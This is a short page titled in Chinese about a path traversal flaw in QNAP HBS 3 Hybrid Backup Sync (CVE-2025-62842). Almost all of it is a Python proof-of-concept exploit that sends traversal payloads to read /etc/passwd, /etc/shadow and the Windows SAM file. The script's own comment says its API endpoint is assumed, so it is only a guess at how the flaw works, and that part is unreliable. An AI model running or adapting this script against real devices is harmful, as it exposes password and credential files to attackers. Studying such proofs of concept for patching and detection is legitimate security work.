QNAP HBS 3 Hybrid Backup Sync路径遍历漏洞(CVE-2025-62842)

#!/usr/bin/env python3 """ CVE-2025-62842 PoC - QNAP HBS 3 Path Traversal Note: This is a conceptual PoC for educational purposes only. Use responsibly and only on systems you have permission to test. """ import requests import os TARGET_IP = "<target_ip>" HBS_PORT = 8080 # Default HBS port def exploit_path_traversal(): """Attempt to read arbitrary files via path traversal""" # Path traversal payloads payloads = [ "../../../../etc/passwd", "..\\..\\..\\..\\windows\\system32\\config\\sam", "../../../../../../etc/shadow" ] # Target endpoint (assumed based on HBS 3 API structure) base_url = f"http://{TARGET_IP}:{HBS_PORT}/api/v1/file/read" for payload in payloads: try: params = { 'path': payload, 'filename': payload.split('/')[-1] if '/' in payload else payload.split('\\')[-1] } print(f"[*] Testing payload: {payload}") response = requests.get(base_url, params=params, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[!] Potential vulnerability confirmed!") print(f"[+] Response length: {len(response.content)} bytes") print(f"[+] Sample content: {response.content[:200]}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-62842 Path Traversal PoC") print("Target: QNAP HBS 3 Hybrid Backup Sync") exploit_path_traversal()